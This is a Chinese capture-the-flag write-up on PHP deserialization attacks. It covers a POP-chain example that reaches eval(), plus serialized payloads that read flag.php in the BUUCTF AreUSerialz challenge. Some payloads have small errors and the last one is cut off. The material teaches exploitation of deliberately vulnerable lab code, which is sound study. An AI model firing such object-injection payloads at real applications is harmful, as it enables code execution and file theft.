写在前面:
web菜鸟,在做buuctf中的网鼎杯赛题的时候,有去学习了一遍php反序列,加深了理解。
为什么会用到序列化,自己的理解就是当一段代码消失时候,保存的数据也会跟着消失,但时如果要是再去使用这些数据的时候,如果在添加十分的不方便,于是就出现了序列化,将数据保存起来。
关键点:
1.我们想用反序列必须存在 unserialize(),且提交的变量可控。
unserialize():反序列化,将字符串转化为类。
serialize():序列化,将类转化为字符串。
2.可控的值,为class 类中的属性(高版本的属性可覆盖)和变量,方法不可以控制。
3.一般与魔术方法搭配使用
这里一开始我不理解为什么要搭配魔术方法使用,了解魔术方法的含义,但不知道为什么这么用。后来看到了这个例子。
class K0rz3n {
private $test;
public $K0rz3n = "i am K0rz3n";
function __construct() {
$this->test = new L();
}
function __destruct() {
$this->test->action();
}
}
class L {
function action() {
echo "Welcome to XDSEC";
}
}
class Evil {
var $test2;
function action() {
eval($this->test2);
}
}
unserialize($_GET['test']);
出自:
https://www.cnblogs.com/fish-pompom/p/11126473.html**
上面这个例子可以看到:
1.存在unserialize()函数,且变量test可控
2.分析存在3个类,后两个类没有可以利用的变量,第一个类中存在可以利用的变量,但是没有可以用到有用的函数,此时发现,第三个类Evil存在action(),存在可以利用的eval
3.我们的思路就是序列化第一个类,从而调用第三个类中的action(),进而利用eval(),但是该怎么调用evil类呢,答案在
function __destruct() {
$this->test->action();
}
在我们序列化的这个类中存在__destruct()析构函数,它会在脚本调用结束的时候执行,析构函数调用了本类中的一个成员函数action(),而action()存在于第三个类且可调用eval()
于是构造
class K0rz3n {
private $test;
function __construct() {
$this->test = new Evil;
}
}
class Evil {
var $test2 = "phpinfo();";
}
$K0rz3n = new K0rz3n;
$data = serialize($K0rz3n);
file_put_contents("seria.txt", $data);
K0rz3n.php?test=O:6:“K0rz3n”:1:{s:12:“K0rz3ntest”;O:4:“Evil”:1:{s:5:“test2”;s:10:“phpinfo();”;}}
常用的魔术方法:
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
分———————————————隔———————————————————线
接下来要写一下AreUSerialz
源码:
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
大体思路就是flag存在于flag.php ,需要读取flag.php的内容
第一种解法:
高版本的php属性可以覆盖:
直接用public进行序列化,将弱类型比较,让op=2,然后读取flag
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "zeo";
}
$a = new FileHandler();
$b = serialize($a);
print_r($b);
得到:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
第二种解法:
因为private序列化后会存在\x00\x00
protected属性会引入\x00*\x00
但是要配合大写的s,因为这样可以支持后面的16进制
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"loech
还有一种思路就是读取flag路径,利用伪协议读取flag